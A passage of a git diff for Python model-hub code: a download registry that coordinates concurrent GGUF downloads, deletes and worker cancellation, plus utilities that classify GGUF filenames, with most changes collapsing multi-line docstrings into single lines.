str]:- """Atomically reserve all cache writes for one repository.-- This covers snapshots, GGUF variants, and deletion. The opaque owner- prevents a stale run from releasing a newer claim.- """+ """Atomically reserve all cache writes for one repository, covering snapshots, GGUF variants and deletion. The opaque owner prevents a stale run from releasing a newer claim."""repo = normalize_repo_key(repo_id)with self._lock:if repo in self._repository_owners:@@ -1717,11 +1478,7 @@ class DownloadRegistry:return Truedef adoptable(self, key: str) -> bool:- """True when *key* itself has a live job a client can attach to.-- Lets a rejected claim distinguish a collision with this key's own- in-flight job (pollable) from one blocked by a different repo job- or an in-progress delete, where no job exists for this key."""+ """True when *key* itself has a live job a client can attach to. Lets a rejected claim distinguish a collision with this key's own in-flight job (pollable) from one blocked by a different repo job or an in-progress delete, where no job exists for this key."""key = normalize_job_key(key)with self._lock:return self._jobs.get(key, DownloadState("idle")).state in _ACTIVE_STATES@@ -1733,12 +1490,7 @@ class DownloadRegistry:return variant_from_key(key)def _delete_blocked_by_active_locked(self, repo_id: str, variant: Optional[str]) -> bool:- """Whether an active download conflicts with deleting *repo_id*/*variant*.-- A whole-repo delete (``variant is None``) conflicts with any active- download. A variant delete conflicts only with that same variant or a- whole-repo download writing the shared snapshot; other quantizations- download concurrently and never block it."""+ """Whether an active download conflicts with deleting *repo_id*/*variant*. A whole-repo delete (``variant is None``) conflicts with any active download; a variant delete conflicts only with that same variant or a whole-repo download writing the shared snapshot, so other quantizations download concurrently and never block it."""active_keys = self._repo_active.get(repo_id, set())for key in active_keys:job = self._jobs.get(key)@@ -1762,10 +1514,7 @@ class DownloadRegistry:return Falsedef peer_blob_hashes(self, key: str) -> frozenset[str]:- """Union of the writable blob hashes of every OTHER active download for- this key's repo. A worker excludes these from its purge so it never- deletes an ``.incomplete`` a concurrent same-repo variant is writing- (e.g. a shared mmproj bundled with two GGUF quants)."""+ """Union of the writable blob hashes of every OTHER active download for this key's repo. A worker excludes these from its purge so it never deletes an ``.incomplete`` a concurrent same-repo variant is writing (e.g. a shared mmproj bundled with two GGUF quants)."""key = normalize_job_key(key)repo = _repo_of_key(key)out: set[str] = set()@@ -1805,8 +1554,7 @@ class DownloadRegistry:candidate_keys = list(self._repo_active.get(repo_key, set()))else:candidate_keys = [key for active in self._repo_active.values() for key in active]- # An XET->HTTP retry handoff briefly drops its key from _repo_active while its job stays active, so- # include those released-but-active jobs.+ # An XET->HTTP retry handoff briefly drops its key from _repo_active while its job stays active, so include those released-but-active jobs.seen = set(candidate_keys)for key, job in self._jobs.items():if key in seen or job.state not in _ACTIVE_STATES:@@ -1830,12 +1578,7 @@ class DownloadRegistry:return refsdef has_active_variant(self, repo_id: str, variant: Optional[str]) -> bool:- """Whether an active model job targets this exact GGUF variant.-- Scans the job table rather than only ``_repo_active`` so an XET-to-HTTP- retry handoff remains visible while it has temporarily released its- active slot.- """+ """Whether an active model job targets this exact GGUF variant. Scans the job table rather than only ``_repo_active`` so an XET-to-HTTP retry handoff remains visible while it has temporarily released its active slot."""repo_key = normalize_repo_key(repo_id)target = (variant or "").strip().lower() or Nonewith self._lock:@@ -1851,13 +1594,7 @@ class DownloadRegistry:repo_id: str,variant: Optional[str] = None,) -> bool:- """Reserve *repo_id* (or one GGUF *variant* of it) for deletion. Returns- ``False`` when a conflicting download is active (a whole-repo delete vs- any download, a variant delete vs that same variant or a whole-repo- download), so sibling quantizations keep downloading. On success the- scope is marked so :func:`claim` rejects overlapping downloads until- :func:`end_delete` runs, closing the check-then-delete race against a- concurrently spawned worker."""+ """Reserve *repo_id* (or one GGUF *variant* of it) for deletion. Returns ``False`` when a conflicting download is active (a whole-repo delete vs any download, a variant delete vs that same variant or a whole-repo download), so sibling quantizations keep downloading. On success the scope is marked so :func:`claim` rejects overlapping downloads until :func:`end_delete` runs, closing the check-then-delete race against a concurrently spawned worker."""repo_id = normalize_repo_key(repo_id)variant_key = (variant or "").strip().lower() or Nonewith self._lock:@@ -1884,13 +1621,7 @@ class DownloadRegistry:self._deleting.pop(repo_id, None)def has_active_peer_variant(self, repo_id: str, variant: Optional[str]) -> bool:- """Whether a DIFFERENT quantization of *repo_id* is downloading while- *variant* is being deleted. When one is, the delete reclaims only this- variant's files and leaves the shared companion (mmproj) for the live- sibling. Point-in-time (a sibling may claim just after it returns), but- safe: the finalized companion is held by deletion's reference-count- walk and a sibling starting mid-delete re-fetches it, so protection- never depends on the sibling having resolved its blob hashes."""+ """Whether a DIFFERENT quantization of *repo_id* is downloading while *variant* is being deleted. When one is, the delete reclaims only this variant's files and leaves the shared companion (mmproj) for the live sibling. Point-in-time, but safe: the finalized companion is held by deletion's reference-count walk and a sibling starting mid-delete re-fetches it, so protection never depends on the sibling having resolved its blob hashes."""repo_id = normalize_repo_key(repo_id)target = (variant or "").strip().lower() or Nonewith self._lock:@@ -1901,8 +1632,7 @@ class DownloadRegistry:continueif self._active_job_variant_locked(key) != target:return True- # A retry peer between release_active_slot() and its reclaim is briefly absent from _repo_active- # while it still owns the shared companion, so mirror the released-but-active scan.+ # A retry peer between release_active_slot() and its reclaim is briefly absent from _repo_active while it still owns the shared companion, so mirror the released-but-active scan.for key, job in self._jobs.items():if key in active_keys or _repo_of_key(key) != repo_id:continue@@ -1918,9 +1648,7 @@ class DownloadRegistry:proc: subprocess.Popen,generation: Optional[int] = None,) -> bool:- """Authorize a SIGKILL for the registered *proc*. Idempotent across an- active job's lifetime: a repeated cancel while already ``cancelling``- still returns ``True`` so a kill that raced and lost can be re-sent."""+ """Authorize a SIGKILL for the registered *proc*. Idempotent across an active job's lifetime: a repeated cancel while already ``cancelling`` still returns ``True`` so a kill that raced and lost can be re-sent."""key = normalize_job_key(key)with self._lock:if self._processes.get(key) is not proc:@@ -1941,14 +1669,11 @@ class DownloadRegistry:if proc.poll() is None]live_keys = {key for key, _proc, _metadata in live}- # Flag as an intentional stop so the watcher's exit classification reports them cancelled rather than an- # OOM/crash once SIGKILL lands.+ # Flag as an intentional stop so the watcher's exit classification reports them cancelled rather than an OOM/crash once SIGKILL lands.for key, _proc, _metadata in live:if self._jobs.get(key, DownloadState("idle")).state == "running":self._jobs[key] = DownloadState("cancelling")- # Settle active jobs without a live worker: a retry parked in the reclaim wait has dropped its- # worker, and a registered worker that errored before its watcher ran would stay running and spawn- # an HTTP retry. Skip one that exited cleanly, which would strand a stale marker.+ # Settle active jobs without a live worker: a retry parked in the reclaim wait has dropped its worker, and a registered worker that errored before its watcher ran would stay running and spawn an HTTP retry. Skip one that exited cleanly, which would strand a stale marker.for key, job in list(self._jobs.items()):if job.state not in _ACTIVE_STATES or key in live_keys:continue@@ -1956,16 +1681,14 @@ class DownloadRegistry:if proc is not None:if proc.poll() == 0:continue- # A registered worker that exited nonzero over HTTP is a genuine terminal failure, not a shutdown- # cancel: only an exited XET worker could still spawn a post-shutdown HTTP retry.+ # A registered worker that exited nonzero over HTTP is a genuine terminal failure, not a shutdown cancel: only an exited XET worker could still spawn a post-shutdown HTTP retry.metadata = self._metadata.get(key)if metadata is not None and metadata.transport == TRANSPORT_HTTP:continueself._pending_cancel[key] = self._generations.get(key)self._jobs[key] = DownloadState("cancelling")settled_no_proc.append(self._metadata.get(key))- # Persist the cancel marker outside the lock so shutdown records resumable state even if it returns- # before the daemon watcher wakes.+ # Persist the cancel marker outside the lock so shutdown records resumable state even if it returns before the daemon watcher wakes.for metadata in settled_no_proc:if metadata is not None:persist_cancel_marker(@@ -2001,8 +1724,7 @@ class DownloadRegistry:logger.warning(f"shutdown: {kind} worker for {key} did not exit after kill")except Exception:pass- # Mark only genuinely interrupted workers: persisting before the exit is known would strand a stale- # marker on a worker that completed cleanly during shutdown.+ # Mark only genuinely interrupted workers: persisting before the exit is known would strand a stale marker on a worker that completed cleanly during shutdown.if metadata is not None and proc.poll() != 0:persist_cancel_marker(metadata.repo_type,diff --git a/studio/backend/hub/utils/gguf.py b/studio/backend/hub/utils/gguf.pyindex a4838726b12..fb2a20a2d89 100644--- a/studio/backend/hub/utils/gguf.py+++ b/studio/backend/hub/utils/gguf.py@@ -95,27 +95,12 @@ def is_mmproj_filename(filename: str) -> bool:return "mmproj" in filename.lower()-# Anchored at an END of the stem, never a substring, for the reason is_mtp_drafter_path documents:-# a name that merely contains the word (Qwen3-Imatrix-Tuned-Q4_K_M.gguf) is a real model, while-# every published imatrix leads or closes with it.+# Anchored at an END of the stem, never a substring, for the reason is_mtp_drafter_path documents: a name that merely contains the word (Qwen3-Imatrix-Tuned-Q4_K_M.gguf) is a real model, while every published imatrix leads or closes with it._IMATRIX_TOKEN_RE = re.compile(r"^imatrix(?:[._\-]|$)|[._\-]imatrix$", re.IGNORECASE)def is_imatrix_filename(path: str) -> bool:- """True for a calibration imatrix: ``imatrix.gguf``, ``imatrix_unsloth.gguf``,- ``imatrix_unsloth.dat``, ``<model>-imatrix.gguf``, ``<model>.imatrix``.-- It holds activation statistics for llama-quantize, not a model, and llama-server- never opens one, so it is neither a selectable variant nor a companion to fetch:- unlike mmproj and the MTP drafter it is excluded outright, everywhere they are.- Most repos spell it .dat or .gguf_file, which no GGUF listing sees; the ones that- publish imatrix_unsloth.gguf (unsloth/Qwen3.8-27B-GGUF) put a valid GGUF container- carrying no model in front of the variant menu, download and loader.-- CANONICAL COPY. Two mirrors must change in lockstep:- utils/models/model_config.py ``_is_imatrix_path`` (utils cannot import hub) and- core/inference/llama_cpp.py ``_is_companion_gguf_path`` (core avoids hub imports).- """+ """True for a calibration imatrix: ``imatrix.gguf``, ``imatrix_unsloth.gguf``, ``imatrix_unsloth.dat``, ``<model>-imatrix.gguf``, ``<model>.imatrix``. It holds activation statistics for llama-quantize, not a model, and llama-server never opens one, so it is neither a selectable variant nor a companion to fetch: unlike mmproj and the MTP drafter it is excluded outright, everywhere they are. Most repos spell it .dat or .gguf_file, which no GGUF listing sees; the ones that publish imatrix_unsloth.gguf (unsloth/Qwen3.8-27B-GGUF) put a valid GGUF container carrying no model in front of the variant menu, download and loader. CANONICAL COPY. Two mirrors must change in lockstep: utils/models/model_config.py ``_is_imatrix_path`` (utils cannot import hub) and core/inference/llama_cpp.py ``_is_companion_gguf_path`` (core avoids hub imports)."""name = path.replace("\\", "/").rsplit("/", 1)[-1]stem = name.rsplit(".", 1)[0] if "." in name else namereturn bool(_IMATRIX_TOKEN_RE.search(stem)) or name.lower().endswith(".imatrix")@@ -124,29 +109,12 @@ def is_imatrix_filename(path: str) -> bool:# dspark and dflash are the same DeepSeek V4 Flash drafter: the folder it ships in and the architecture it reports._DRAFTER_KINDS = ("mtp", "dspark", "dflash")-# Directories only: mtp/ and dspark/ are always a publisher's companion folder, while dflash/ is a-# family name a user picks for real weights.+# Directories only: mtp/ and dspark/ are always a publisher's companion folder, while dflash/ is a family name a user picks for real weights._DRAFTER_DIR_KINDS = ("mtp", "dspark")def is_mtp_drafter_path(path: str) -> bool:- """True for a separate-file drafter, a companion to the main model rather than- a selectable quant: the repo-root ``mtp-*.gguf`` (the Q8_0 copy unsloth ships- for llama.cpp ``-hf`` auto-discovery), the ``MTP/`` subdir copies (Gemma 4)- and the ``dspark/`` drafters (DeepSeek V4 Flash). Repos that bake the head- into the main GGUF (Qwen) have no such file, so this is False for them. Must- be excluded from main-model selection everywhere mmproj is.-- Matched by basename prefix, or by an exact parent dir for- ``_DRAFTER_DIR_KINDS``; never a substring, since the kind names double as- family names, so ``Qwen3.6-27B-MTP-Q4_K_M.gguf`` and- ``Qwen3.6-35B-A3B-DFlash-Q4_K_M.gguf`` ARE the model.-- CANONICAL COPY. Two mirrors must change in lockstep:- utils/models/model_config.py ``_is_mtp_drafter`` (utils cannot import hub)- and core/inference/llama_cpp.py ``_is_companion_gguf_path`` (core avoids hub- imports; bundles the mmproj check).- """+ """True for a separate-file drafter, a companion to the main model rather than a selectable quant: the repo-root ``mtp-*.gguf`` (the Q8_0 copy unsloth ships for llama.cpp ``-hf`` auto-discovery), the ``MTP/`` subdir copies (Gemma 4) and the ``dspark/`` drafters (DeepSeek V4 Flash). Repos that bake the head into the main GGUF (Qwen) have no such file, so this is False for them. Must be excluded from main-model selection everywhere mmproj is. Matched by basename prefix, or by an exact parent dir for ``_DRAFTER_DIR_KINDS``; never a substring, since the kind names double as family names, so ``Qwen3.6-27B-MTP-Q4_K_M.gguf`` and ``Qwen3.6-35B-A3B-DFlash-Q4_K_M.gguf`` ARE the model. CANONICAL COPY. Two mirrors must change in lockstep: utils/models/model_config.py ``_is_mtp_drafter`` (utils cannot import hub) and core/inference/llama_cpp.py ``_is_companion_gguf_path`` (core avoids hub imports; bundles the mmproj check)."""p = path.replace("\\", "/").lower()if not p.endswith(".gguf"):return False@@ -158,16 +126,7 @@ def is_mtp_drafter_path(path: str) -> bool:def is_reclaimable_drafter_path(path: str) -> bool:- """Drafters a repo's last-variant delete may reclaim: MTP, fetched with every- variant, and DSpark, fetched on opt-in. Both are useless once no main GGUF is- left, and companion filtering hides them from the variant menu, so leaving one- behind is an invisible allocation (DSpark is ~11 GB). DFlash is excluded even- though Auto now launches it: the name doubles as a family a user picks for- real weights, whole repos publish nothing but root-level ``dflash-*.gguf``- (Lucebox/Qwen3.6-27B-DFlash-GGUF), and the two outcomes are not symmetric.- Reclaiming wrongly destroys weights a user chose; not reclaiming leaves- ~1.5 GiB, an order of magnitude under the DSpark case this rule was written- for. Locked by test_deleting_the_last_variant_keeps_a_dflash_weight."""+ """Drafters a repo's last-variant delete may reclaim: MTP, fetched with every variant, and DSpark, fetched on opt-in. Both are useless once no main GGUF is left, and companion filtering hides them from the variant menu, so leaving one behind is an invisible allocation (DSpark is ~11 GB). DFlash is excluded even though Auto now launches it: the name doubles as a family a user picks for real weights, whole repos publish nothing but root-level ``dflash-*.gguf`` (Lucebox/Qwen3.6-27B-DFlash-GGUF), and the two outcomes are not symmetric, since reclaiming wrongly destroys weights a user chose while not reclaiming leaves ~1.5 GiB, an order of magnitude under the DSpark case this rule was written for. Locked by test_deleting_the_last_variant_keeps_a_dflash_weight."""p = path.replace("\\", "/").lower()if not p.endswith(".gguf"):return False@@ -179,11 +138,7 @@ def is_reclaimable_drafter_path(path: str) -> bool:def _appledouble_subject_key(name: str) -> object:- """What a listing entry has to share with a ``._`` name for it to be that name's subject.-- Only a GGUF has shards to belong to, and a split quant's companions need not all be- shadowed; every other suffix is its own subject.- """+ """What a listing entry has to share with a ``._`` name for it to be that name's subject. Only a GGUF has shards to belong to, and a split quant's companions need not all be shadowed; every other suffix is its own subject."""return ("gguf", gguf_variant_family(name)) if is_gguf_filename(name) else ("name", name)@@ -200,13 +155,7 @@ def drop_shadowed_appledouble_siblings(siblings: Sequence) -> list:def remove_appledouble_sidecar(path: Path) -> int:- """Remove the sidecar beside *path* if it really is one; return the bytes freed.-- Now that discovery rejects sidecars, nothing else would ever name one, and metadata would- outlive the weights it describes. Identified positively because this unlinks a file nobody- asked for: a user's own ``._model.gguf`` is a real model, and deciding by name would delete- weights. Best effort -- a sidecar that resists removal is a few KB, never a failed delete.- """+ """Remove the sidecar beside *path* if it really is one; return the bytes freed. Now that discovery rejects sidecars, nothing else would ever name one, and metadata would outlive the weights it describes. Identified positively because this unlinks a file nobody asked for: a user's own ``._model.gguf`` is a real model, and deciding by name would delete weights. Best effort: a sidecar that resists removal is a few KB, never a failed delete."""try:sidecar = Path(path).with_name(f"._{Path(path).name}")if not has_appledouble_magic(sidecar):@@ -224,9 +173,7 @@ def is_gguf_filename(filename: str) -> bool:return filename.lower().endswith(".gguf")-# Every repo that bundles H3's denoisers with its companion models: the Unsloth mirror carries the-# Qwen3-VL encoder quants beside the denoisers, so listing one repo would aggregate encoder GGUFs-# as selectable transformer quants.+# Every repo that bundles H3's denoisers with its companion models: the Unsloth mirror carries the Qwen3-VL encoder quants beside the denoisers, so listing one repo would aggregate encoder GGUFs as selectable transformer quants._H3_BUNDLE_REPOS = frozenset({"leejet/minimax-h3-gguf", "unsloth/minimax-h3-gguf"})@@ -234,9 +181,7 @@ def is_h3_bundle_repo(repo_id: str) -> bool:return repo_id.strip().lower() in _H3_BUNDLE_REPOS-# Both released denoiser partitions are valid picks and which one is picked IS the task. Kept in-# step with validate_h3_transformer_filename in core/inference/video_minimax_h3.py, which the load-# enforces: listing only FL2VA hid every published Ref2VA quant from the picker.+# Both released denoiser partitions are valid picks and which one is picked IS the task. Kept in step with validate_h3_transformer_filename in core/inference/video_minimax_h3.py, which the load enforces: listing only FL2VA hid every published Ref2VA quant from the picker._H3_DENOISER_PARTITIONS = ("minimax_h3_fl2va", "minimax_h3_ref2va")@@ -353,23 +298,12 @@ def _select_quant_match(text: str) -> Optional[re.Match]:def _quant_search_stem(filename: str) -> str:- """The text a quant token is looked for in: the basename, less any shard suffix.-- Unlike :func:`_gguf_stem` this keeps everything after the last dot. The extension is not in- the way, since the token is matched rather than the whole string, while cutting at the dot- truncates a bare ``IQ4_XS-3.53bpw`` to ``IQ4_XS-3``. Bare names do arrive here: a ``<quant>/``- folder and a stored variant string both come without ``.gguf``.- """+ """The text a quant token is looked for in: the basename, less any shard suffix. Unlike :func:`_gguf_stem` this keeps everything after the last dot. The extension is not in the way, since the token is matched rather than the whole string, while cutting at the dot truncates a bare ``IQ4_XS-3.53bpw`` to ``IQ4_XS-3``. Bare names do arrive here: a ``<quant>/`` folder and a stored variant string both come without ``.gguf``."""return _GGUF_SPLIT_SUFFIX_RE.sub("", filename.rsplit("/", 1)[-1]).strip()def _locate_quant_match(filename: str) -> tuple[Optional[re.Match], str]:- """The quant match naming *filename*, with the text it was found in.-- The basename decides; only when it names no quant do parent directories, nearest first.- Callers that need what trails the token (the bpw modifier) need that text too, so this is- the one place the search order lives.- """+ """The quant match naming *filename*, with the text it was found in. The basename decides; only when it names no quant do parent directories, nearest first. Callers that need what trails the token (the bpw modifier) need that text too, so this is the one place the search order lives."""stem = _quant_search_stem(filename)match = _select_quant_match(stem)if match:@@ -390,36 +324,15 @@ def extract_quant_token(filename: str) -> Optional[str]:return None-# Two builds of one base quant at different bpw are two checkpoints (byteshape ships IQ4_XS at-# 3.53, 3.97 and 4.19), so the variant KEY has to keep the modifier: without it the advertised-# name 404s.-# match, never search: only a modifier IMMEDIATELY after the quant qualifies it, so-# flux1-dev-Q8_0-fp32-08.577bpw keeps the bare Q8_0 rather than borrowing a number describing-# something else.+# Two builds of one base quant at different bpw are two checkpoints (byteshape ships IQ4_XS at 3.53, 3.97 and 4.19), so the variant KEY has to keep the modifier: without it the advertised name 404s. match, never search: only a modifier IMMEDIATELY after the quant qualifies it, so flux1-dev-Q8_0-fp32-08.577bpw keeps the bare Q8_0 rather than borrowing a number describing something else._GGUF_BPW_SUFFIX_RE = re.compile(r"-[0-9]+(?:\.[0-9]+)?bpw", re.IGNORECASE)-# The same modifier ending a name of its own, used only for the basename under a quant DIRECTORY-# (Q6_K/model-3.5bpw.gguf), where the token is in the parent and the number is all the file has to-# identify the build.+# The same modifier ending a name of its own, used only for the basename under a quant DIRECTORY (Q6_K/model-3.5bpw.gguf), where the token is in the parent and the number is all the file has to identify the build._GGUF_BPW_TRAILING_RE = re.compile(r"-[0-9]+(?:\.[0-9]+)?bpw(?=\.[A-Za-z0-9]+$|$)", re.IGNORECASE)def quant_token_with_bpw(filename: str) -> Optional[str]:- """:func:`extract_quant_token` with the bpw modifier that trails it, when there is one.-- The spelling that identifies a checkpoint. The bare token does not: a repo publishing one- base quant at several bit widths gives every one of them the same token, and the modifier is- the only thing telling them apart.-- Where the modifier is found follows where the token was. Named by the basename, only a- modifier IMMEDIATELY after it counts, so ``flux1-dev-Q8_0-fp32-08.577bpw`` keeps the bare- ``Q8_0`` rather than borrowing a number describing something else. Named by a parent- directory, the modifier may sit against the token there (``IQ4_XS-3.53bpw/model.gguf``) or- end the basename instead (``Q6_K/model-3.5bpw.gguf``), and both are this build's own.-- Returns the bare token unchanged for every repo without one, which is nearly all of them,- and ``None`` when nothing in the path names a quant.- """+ """:func:`extract_quant_token` with the bpw modifier that trails it, when there is one. The spelling that identifies a checkpoint: the bare token does not, since a repo publishing one base quant at several bit widths gives every one of them the same token and the modifier is the only thing telling them apart. Where the modifier is found follows where the token was. Named by the basename, only a modifier IMMEDIATELY after it counts, so ``flux1-dev-Q8_0-fp32-08.577bpw`` keeps the bare ``Q8_0`` rather than borrowing a number describing something else. Named by a parent directory, the modifier may sit against the token there (``IQ4_XS-3.53bpw/model.gguf``) or end the basename instead (``Q6_K/model-3.5bpw.gguf``), and both are this build's own. Returns the bare token unchanged for every repo without one, which is nearly all of them, and ``None`` when nothing in the path names a quant."""path = filename.replace("\\", "/")match, text = _locate_quant_match(path)if match is None:@@ -445,12 +358,7 @@ def _unknown_gguf_variant_key(filename: str) -> str:def gguf_variant_family(filename: str) -> str:- """The shard family *filename* belongs to: its directory plus its shard-stripped name.-- The unit a row and a download plan describe. Every shard of one split GGUF shares- a family, which is why summing sizes within a family is right; two files that do- NOT share one are two different checkpoints, so summing across them is not.- """+ """The shard family *filename* belongs to: its directory plus its shard-stripped name. The unit a row and a download plan describe. Every shard of one split GGUF shares a family, which is why summing sizes within a family is right; two files that do NOT share one are two different checkpoints, so summing across them is not."""return _unknown_gguf_variant_key(filename)@@ -816,29 +724,17 @@ def extract_quant_label(filename: str) -> str:def bare_quant_alias(key: str) -> str:- """The bare quant spelling a path-qualified *key* also answers to.-- ``weights/model-IQ4_XS-3.53bpw`` -> ``IQ4_XS-3.53bpw``. The bpw modifier is part of the- identity now, so the three compatibility fallbacks that accept a bare name for a qualified- key (the plan lookup, auto-download admission, deletion) have to keep it -- comparing on the- token alone means a persisted ``IQ4_XS-3.53bpw`` resolves nothing.- """+ """The bare quant spelling a path-qualified *key* also answers to. ``weights/model-IQ4_XS-3.53bpw`` -> ``IQ4_XS-3.53bpw``. The bpw modifier is part of the identity now, so the three compatibility fallbacks that accept a bare name for a qualified key (the plan lookup, auto-download admission, deletion) have to keep it: comparing on the token alone means a persisted ``IQ4_XS-3.53bpw`` resolves nothing."""basename = (key or "").replace("\\", "/").rsplit("/", 1)[-1]token = quant_token_with_bpw(basename)if token is not None:return token- # Nothing in the name is a quant, so the alias is the unknown-variant spelling; hand it an extension- # to strip rather than let it cut at the dot in "ltx-2.3".+ # Nothing in the name is a quant, so the alias is the unknown-variant spelling; hand it an extension to strip rather than let it cut at the dot in "ltx-2.3".return extract_quant_label(f"{basename}.gguf")def is_qualified_gguf_variant_key(key: str) -> bool:- """Whether *key* names more than its bare quantization.-- Usually a directory (``distilled/model-Q6_K``), but H3's root-level partitions use the full- filename stem (``minimax_h3_ref2va_pruned-Q6_K``). Comparing against the bare alias covers- both and leaves ordinary keys such as ``Q6_K`` and ``IQ4_XS-3.53bpw`` untouched.- """+ """Whether *key* names more than its bare quantization. Usually a directory (``distilled/model-Q6_K``), but H3's root-level partitions use the full filename stem (``minimax_h3_ref2va_pruned-Q6_K``). Comparing against the bare alias covers both and leaves ordinary keys such as ``Q6_K`` and ``IQ4_XS-3.53bpw`` untouched."""normalized = (key or "").strip().replace("\\", "/")return bool(normalized) and bare_quant_alias(normalized).lower() != normalized.lower()@@ -853,39 +749,17 @@ def is_h3_denoiser_variant_key(key: str) -> bool:def _is_quant_directory(segment: str) -> bool:- """Whether a path segment names a quant (``Q6_K/``, ``Llama-3.3-70B-Instruct-Q6_K/``).-- Such a directory says only how the file was quantized, which its name already says,- so it adds nothing to the file's identity. A directory naming something else- (``distilled/``) is a different checkpoint and does. The basename still wins on- which quant it is: ``Q8_0/model-Q4_K_M.gguf`` IS the Q4_K_M file.- """+ """Whether a path segment names a quant (``Q6_K/``, ``Llama-3.3-70B-Instruct-Q6_K/``). Such a directory says only how the file was quantized, which its name already says, so it adds nothing to the file's identity; a directory naming something else (``distilled/``) is a different checkpoint and does. The basename still wins on which quant it is: ``Q8_0/model-Q4_K_M.gguf`` IS the Q4_K_M file."""return _select_quant_match(segment) is not Nonedef gguf_variant_key(filename: str) -> str:- """The persisted identity of a selectable GGUF variant.-- The bare quant token when that token names the file within its path -- the shape- almost every repo uses, so this is byte-identical to the historical key there and- every stored pin, manifest and marker keeps resolving. When the token does NOT- single the file out, because a sibling directory holds another checkpoint at the- same quant (``distilled/`` and ``distilled-1.1/`` beside the repo root), the key- is the file's :func:`gguf_variant_family` instead, which is unique within the- repo and which the loader already accepts as a spelling- (``model_config._find_local_gguf_by_variant`` matches its shard-stripped relative- path, as does ``llama_cpp._gguf_files_for_variant``).-- A pure function of the path, deliberately: the remote listing sees a whole repo- while a cache scan sees whatever was downloaded, and a key that depended on the- set would disagree between them and strand a finished download as incomplete.- """+ """The persisted identity of a selectable GGUF variant. The bare quant token when that token names the file within its path, the shape almost every repo uses, so this is byte-identical to the historical key there and every stored pin, manifest and marker keeps resolving. When the token does NOT single the file out, because a sibling directory holds another checkpoint at the same quant (``distilled/`` and ``distilled-1.1/`` beside the repo root), the key is the file's :func:`gguf_variant_family` instead, which is unique within the repo and which the loader already accepts as a spelling (``model_config._find_local_gguf_by_variant`` matches its shard-stripped relative path, as does ``llama_cpp._gguf_files_for_variant``). A pure function of the path, deliberately: the remote listing sees a whole repo while a cache scan sees whatever was downloaded, and a key that depended on the set would disagree between them and strand a finished download as incomplete."""path = filename.replace("\\", "/")quant = quant_token_with_bpw(path)if quant is None:return _unknown_gguf_variant_key(path)- # MiniMax H3 bundles two denoiser partitions and may publish full and pruned builds at one quant,- # so the bare quant cannot identify the row, its download state, or the file to open.+ # MiniMax H3 bundles two denoiser partitions and may publish full and pruned builds at one quant, so the bare quant cannot identify the row, its download state, or the file to open.if path.rsplit("/", 1)[-1].lower().startswith(_H3_DENOISER_PARTITIONS):return _unknown_gguf_variant_key(path)parents = path.rpartition("/")[0]@@ -895,13 +769,7 @@ def gguf_variant_key(filename: str) -> str:def _variant_scope_label(filename: str, *, with_stem: bool = False) -> str:- """The part of a qualified variant's path that tells it apart from its namesakes.-- The directory alone reads best and is enough for the usual shape, where each checkpoint- has its own. ``with_stem`` adds the filename back for the case where it is not: two- checkpoints in ONE directory at one quant are two rows, and a label naming only the- directory would print the same text on both.- """+ """The part of a qualified variant's path that tells it apart from its namesakes. The directory alone reads best and is enough for the usual shape, where each checkpoint has its own. ``with_stem`` adds the filename back for the case where it is not: two checkpoints in ONE directory at one quant are two rows, and a label naming only the directory would print the same text on both."""parents = filename.replace("\\", "/").rpartition("/")[0].strip("/")stem = _gguf_stem(filename)if not parents:@@ -915,8 +783,7 @@ def _apply_gguf_display_labels(variants: list[GgufVariantInfo]) -> None:]ambiguous = len(unknown_variants) > 1- # The bpw modifier reads perfectly well on its own, so a key that is only the token plus its bpw- # suffix is NOT path-qualified and needs no scope label.+ # The bpw modifier reads perfectly well on its own, so a key that is only the token plus its bpw suffix is NOT path-qualified and needs no scope label.def _plain_key(variant) -> Optional[str]:return quant_token_with_bpw(variant.filename)@@ -953,17 +820,7 @@ def _apply_gguf_display_labels(variants: list[GgufVariantInfo]) -> None:def group_gguf_variant_files(entries) -> dict[str, tuple[str, int]]:- """``variant key -> (first filename, size of that variant's shard family)``.-- *entries* is an iterable of ``(path, size)`` for main GGUFs only, already filtered- of mmproj, drafters and big-endian builds.-- Sizes are summed across the shards of ONE family, never across families. A repo- that ships the same quant twice (``BF16/QwQ-32B-BF16-*`` beside- ``BF16/QwQ-32B.BF16-*``) therefore advertises what a load would actually read- rather than the total of both copies. The family kept is the one holding the- lexicographically first file, which is the shard the lister and the loader open.- """+ """``variant key -> (first filename, size of that variant's shard family)``. *entries* is an iterable of ``(path, size)`` for main GGUFs only, already filtered of mmproj, drafters and big-endian builds. Sizes are summed across the shards of ONE family, never across families: a repo that ships the same quant twice (``BF16/QwQ-32B-BF16-*`` beside ``BF16/QwQ-32B.BF16-*``) therefore advertises what a load would actually read rather than the total of both copies. The family kept is the one holding the lexicographically first file, which is the shard the lister and the loader open."""families: dict[str, dict[str, list[tuple[str, int]]]] = {}for path, size in entries:families.setdefault(gguf_variant_key(path), {}).setdefault(@@ -999,8 +856,7 @@ def iter_hf_cache_snapshots(repo_id: str, root: Optional[Path] = None):)for repo_dir in repo_dirs:snapshots_dir = repo_dir / "snapshots"- # is_dir() ignores only ENOENT/ENOTDIR/EBADF/ELOOP, so an unreadable root raised EACCES up to 3.13- # (3.14 returns False, gh-101357); skip it instead of 500ing.+ # is_dir() ignores only ENOENT/ENOTDIR/EBADF/ELOOP, so an unreadable root raised EACCES up to 3.13 (3.14 returns False, gh-101357); skip it instead of 500ing.try:if not snapshots_dir.is_dir():continue@@ -1009,18 +865,12 @@ def iter_hf_cache_snapshots(repo_id: str, root: Optional[Path] = None):logger.debug("Skipping unreadable cache snapshots dir %s: %s", snapshots_dir, e)continue- # Same key the inventory row selects with, so both name one snapshot.snapshots.sort(key = snapshot_selection_key, reverse = True)yield from snapshotsdef list_empty_gguf_variant_dirs(repo_id: str, root: Optional[Path] = None) -> set[str]:- """Quant labels present only as an EMPTY snapshot ``<quant>/`` folder (an- interrupted split download); a quant with shards in any snapshot is excluded.-- Labelled the way a row is keyed, bpw modifier included, or an empty ``IQ4_XS-3.53bpw/``- folder would be reported against a bare ``IQ4_XS`` row that does not exist while the row- it belongs to reads as absent."""+ """Quant labels present only as an EMPTY snapshot ``<quant>/`` folder (an interrupted split download); a quant with shards in any snapshot is excluded. Labelled the way a row is keyed, bpw modifier included, or an empty ``IQ4_XS-3.53bpw/`` folder would be reported against a bare ``IQ4_XS`` row that does not exist while the row it belongs to reads as absent."""empty: dict[str, str] = {}nonempty: set[str] = set()snapshots = (@@ -1073,11 +923,7 @@ def _select_gguf_snapshot(def select_gguf_cache_snapshot(repo_id: str, root: Optional[Path] = None) -> Optional[tuple[list[GgufVariantInfo], bool, set, Path]]:- """``list_gguf_variants_from_hf_cache`` plus the snapshot it answered from.-- A repo dir 